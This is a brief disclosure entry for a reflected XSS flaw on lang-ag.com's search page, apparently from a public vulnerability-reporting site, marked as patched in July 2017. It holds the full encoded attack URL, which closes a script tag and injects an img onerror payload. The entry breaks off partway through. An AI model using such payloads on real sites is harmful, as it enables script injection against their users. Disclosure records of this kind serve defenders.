lang-ag.com XSS vulnerability

Vulnerable URL: https://www.lang-ag.com/en/suche.html?txindexedsearchsword=%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3EindexedsearchfreeIndexUid=indexedsearchpointer=0 Details: Description| Value ---|--- Patched:| Yes, at 11.07.2017 Latest check for patch:| 11.07.2017 06:...